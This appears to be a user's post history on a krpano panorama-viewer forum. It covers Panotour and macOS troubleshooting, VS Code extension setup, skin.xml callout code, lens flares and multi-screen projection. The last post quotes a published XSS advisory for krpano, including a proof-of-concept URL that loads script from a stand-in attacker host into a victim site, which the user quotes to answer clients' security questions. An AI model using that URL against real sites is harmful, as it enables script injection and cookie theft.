Having difficulties with Panotour in OSX Sonoma. I'd love any kind of update on the long overdue "GUI for Krpano" I've been hearing about for so long that is coming out "soon".
Posts by Super Awesome
-
-
I have been able to install and run Panotour on my Macbook Air M2 on Sonoma 13.5 by opening terminal and running this
sudo arch -x86_64 /Applications/Panotour\ Pro\ 2.5.app/Contents/MacOS/PanotourPro
However, I can't get the Krpano update to install so I'm stuck with 1.19.
I also need to install all the plugins directly into the app. It does not see the user folder.I'd really appreciate some help if anyone knows how to get the app to see the user folder for plugins and the krpano update!
Thanks! -
I have been able to install and run Panotour on my Macbook Air M2 on Sonoma 13.5 by opening terminal and running this
sudo arch -x86_64 /Applications/Panotour\ Pro\ 2.5.app/Contents/MacOS/PanotourPro
However, the Krpano "install the panotour pro update" does not work for the application. I'm trying to use 1.20.11.
I think the problem lies in Panotour's inability to see the user documents folder where the update is installed.
When I click "open user directory" it just opens the last folder opened in finder. I had to manually install all plugins inside the app folder itself. I have given it full disk access as well. If I could manually update the Krpano files inside the app that would solve the problem, but I can't find them anywhere.
Question: is it possible to install the Krpano update manually inside the app since the application can't seem to see the user files?
I'd really appreciate help with this!!!
-
I've been trying to get this working with vscode for an embarrassingly long time.
Simple instructions:
Installation- Navigate to the VS Code extensions folder.
Windows: %USERPROFILE%.vscode\extensions
- Clone this project
git clone https://github.com/apushkarev/krpano-for-vscode.git
This is what I have.
PS C:\Users\myaccount\.vscode\extensions> git clone https://github.com/apushkarev/krpano-for-vscode.git
Cloning into 'krpano-for-vscode'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (16/16), done.
Receiving objects: 75% (15/20)sed 20 (delta 1), pack-reused 0
Receiving objects: 100% (20/20), 355.88 KiB | 27.38 MiB/s, done.
Resolving deltas: 100% (1/1), done.
PS C:\Users\myaccount\.vscode\extensions>
It does not show up in extensions. I've been trying to sort this out with copilot, Gemini and ChatGPT for hours and hours.
I'm giving up and asking for help here. Is there something I am missing to install this for vscode?
Thanks for any help!!! -
Nothing happens when clicking krpano Tools.exe on Windows 10.
I get an hourglass for a second and it does not open.
-
I own both the panotour version and the krpano version and the panotour code has extra items that control mobile behaviour.
I am working with the Krpano version and the desktop version looks great, but of course it is almost unusable on mobile.
One of the features that would be great is callout_type.mobile="onuserclick" but this code is not working with the Krpano version.
Are there any specific mobile controls for the Krpano version? There are numerous items that would be helpful in the Panotour code that I do not see listed in the Krpano version. Mobile controls are essential so I would like to know if they can be used in this current Krpano project now that Panotour has been murdered.
My mobile callouts are totally unusable right now so I need to find a solution for this with specific mobile behavior controls.
Below is some of the Panotour code from the skin.xml
Code
Display More!-- 360Images Call Out Titles Plugin --> <include url="%FIRSTXML%/graphics/callouttitles.xml"/> <callout author_context="false"/> <style distancepopup="2" distancepopup.tablet="3" distancepopup.mobile="5" visible="false" callout_type="centerscreen" callout_type.mobile="onuserclick" callout_type.tablet="centerscreen" name="Default Point Spot Style" type="container" width="10" height="10" bgroundedge="10" bgcolor="0xff0004" bgalpha="1.00" bgborder="2 0x0015ff 1.00" toheight="200" pumpitup="true" pumpitup.mobile="true" pumpitup.tablet="true" rotate="45" infov="180" maxfov="1" minfov.mobile="180" maxfov.mobile="1" minfov.tablet="180" maxfov.tablet="1" onloaded=" txtadd(parentspot,'hotspot[',get(name),']'); txtadd(callout_pulse,'callout_pulse_',get(name)); addlayer(get(callout_pulse)); layer[get(callout_pulse)].loadstyle(call_out_titlescallout_pulse); copy(layer[get(callout_pulse)].parent,parentspot); txtadd(callout_line,'callout_line_',get(name)); addlayer(get(callout_line)); copy(hotspot[get(name)].callout_line,callout_line); layer[get(callout_line)].loadstyle(call_out_titlescallout_line); copy(layer[get(callout_line)].parent,parentspot); copy(layer[get(callout_line)].x,xpoint); copy(layer[get(callout_line)].y,ypoint); txtadd(callout_line_vertical,'callout_line_vertical_',get(name)); addlayer(get(callout_line_vertical)); copy(hotspot[get(name)].callout_line_vertical,callout_line_vertical); layer[get(callout_line_vertical)].loadstyle(call_out_titlescallout_line_vertical); txtadd(parentlayer,'layer[',get(callout_line),']'); copy(layer[get(callout_line_vertical)].parent,parentlayer); txtadd(callout_title,'callout_title_',get(name)); addlayer(get(callout_title)); copy(hotspot[get(name)].callout_title,callout_title); layer[get(callout_title)].loadstyle(call_out_titlescallout_title); txtadd(parentlayer2,'layer[',get(callout_line_vertical),']'); copy(layer[get(callout_title)].parent,parentlayer2); getmessage(montitre, get(tooltip)); copy(layer[get(callout_title)].html,montitre); txtadd(callout_desc,'callout_desc_',get(name)); addlayer(get(callout_desc)); copy(hotspot[get(name)].callout_desc,callout_desc); layer[get(callout_desc)].loadstyle(call_out_titlescallout_desc); copy(layer[get(callout_desc)].parent,callout_title); getmessage(madesc, get(descriptionid)); copy(layer[get(callout_desc)].html,madesc); if(hotspot[get(name)].onclick, copy(layer[get(callout_line_vertical)].onclick,hotspot[get(name)].onclick);set(layer[get(callout_line_vertical)].bgcapture,true)); if(hotspot[get(name)].callout_type == onuserclick, set(hotspot[get(name)].onclick,oncallout());set(hotspot[get(name)].bgcapture,true);set(hotspot[get(name)].handcursor,true)); set(events[testshotspots].onviewchanged,testhotspots();) " oncallout="animate_callout(get(callout_line), get(callout_line_vertical), get(callout_title), get(callout_desc),get(toheight));" oncallin="animate_callin(get(callout_line), get(callout_line_vertical));" /> /> <style name="call_out_titlescallout_line" type="container" width="2" height="0" bgalpha="1" bgcolor="0xffffff" align="top" edge="bottom" /> <style name="call_out_titlescallout_line_vertical" type="container" width="0" height="0" bgcolor="0xffffff" rotate="-45" bgborder="0,0,0,2 0xffffff" edge="left" align="top" maskchildren="true" /> <style name="call_out_titlescallout_title" type="text" enabled="false" align="topleft" ox="10" roundedge="20" bg="true" bgcolor="0xb50000" bgalpha="1" bgborder="false" css="color:#ffffff;font-family:Arial;font-size:25px;text-align:left;" padding="5 10" /> <style name="call_out_titlescallout_desc" type="text" enabled="false" align="bottomleft" edge="topleft" ox="0" roundedge="20" bg="false" bgborder="false" textshadow="1" textshadowrange="5.0" textshadowangle="45" textshadowcolor="0x000000" textshadowalpha="1" css="color:#ffffff;font-family:Arial;font-size:18px;text-align:left;" padding="5 0" /> <style name="call_out_titlescallout_pulse" type="container" align="center" bg="false" bgborder="3 0xffffff 1.00" bgroundedge="calc:10 * 2" width="10" height="10" onloaded="pulse(get(name))"/>
-
Could someone help me to find how to have
- a custom border color for the text box (but not the line)?
- rounded edges to the text box?
Thank you!
-
Hello,
I have a project that will require advanced JavaScript on top of a Krpano project.
I am looking for someone highly experienced with JavaScript and Krpano.
My current developer is unavailable due to recent world events and I need someone to take over.
Please PM me for details.
Thank you!
-
I have a client that is asking me if it is possible to display a virtual tour in a showroom display. The current setup is 3 x screens which surround the viewer on 3 sides.
The display resolution is 5400 px by 1600 px.
By nature it seems 360s have overly stretched edges and this seems like it would be very pronounced on a 3 monitor display like this. I have a 3 monitor setup on my desk and the side monitors are very stretched unless significantly zoomed in. Zooming in farther wouldn't be a solution for this. I'm hoping there is a way to alter the projection to remove or reduce the stretching on the sides.
Is there a way to alter the projection of Krpano so it would not warp the edges so much for this application?
Thanks for any help!
-
Hi, excellent plugin!
Is there any way to have more than one in a scene?
<lensflare_settings ath="-44.902" atv="-75.750" sun="0.5" glare="0.2" r_ring="0.25" exposure="true" exposure_bias="-0.5" />
<lensflare_settings ath="46.901" atv="-74.894" sun="0.5" glare="0.2" r_ring="0.25" exposure="true" exposure_bias="-0.5"/>Only one of them seems to be showing up.
Thanks for any help!
-
Hi there,
I'm dealing with several large corporate clients who are rather obsessive about security and penetration testing. They are apprehensive about creating tours because of potential threats and vulnerabilities which could be created by adding a tour to their server and website.
I came across this https://seclists.org/fulldisclosure/2020/Oct/7 which details an exploit titled: XSS in krpano Panorama Viewer
Can anyone provide any more information about this and how I might deal with this if it comes up when dealing with Krpano security issues? I need to have an educated response if I am asked about it so I would really appreciate some info.
Thank you,Details below:
*XSS in **krpano Panorama Viewer *
CVSS Severity: *Medium*
CVSS Score: *6.1*
CVSS Vector:
CVSS:3.0/AV:N/AC:L/PRCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N:N/UI:R/S:C/C:L/I:L/A:N
<https://www.first.org/cvss/calculato…S:C/C:L/I:L/A:N>*Description*
krpano Panorama Viewer <=1.20.8 is vulnerable to a Reflected Cross-Site
Scripting (XSS) vulnerability caused by improper validation of user
supplied input when loading remote js and XML files in the default
installation (krpano.html).*Impact*
A remote attacker could exploit this vulnerability using a specially
crafted URL to execute a script in a victim's Web browser within the
security context of the hosting Web site, once the URL is clicked or
visited. An attacker could use this vulnerability to steal the victim's
cookie-based authentication credentials, force malware execution, user
redirection and others.*Steps to Reproduce*
Exploit example, from documentation tutorials:
http://VICTIM_SITE/krpano.html?html5=only&preview.type=grid()&plugin[test].url=[align=center&plugin[test].onclick=dosomething]https://ATTACKER_SITE/labs/krpano/krpano.js&plugin[test].align=center&plugin[test].onclick=dosomething[/align](hello,plugin)&onstart=showlog();*Fix*
Block remote load of js and XML files. Contact the vendor.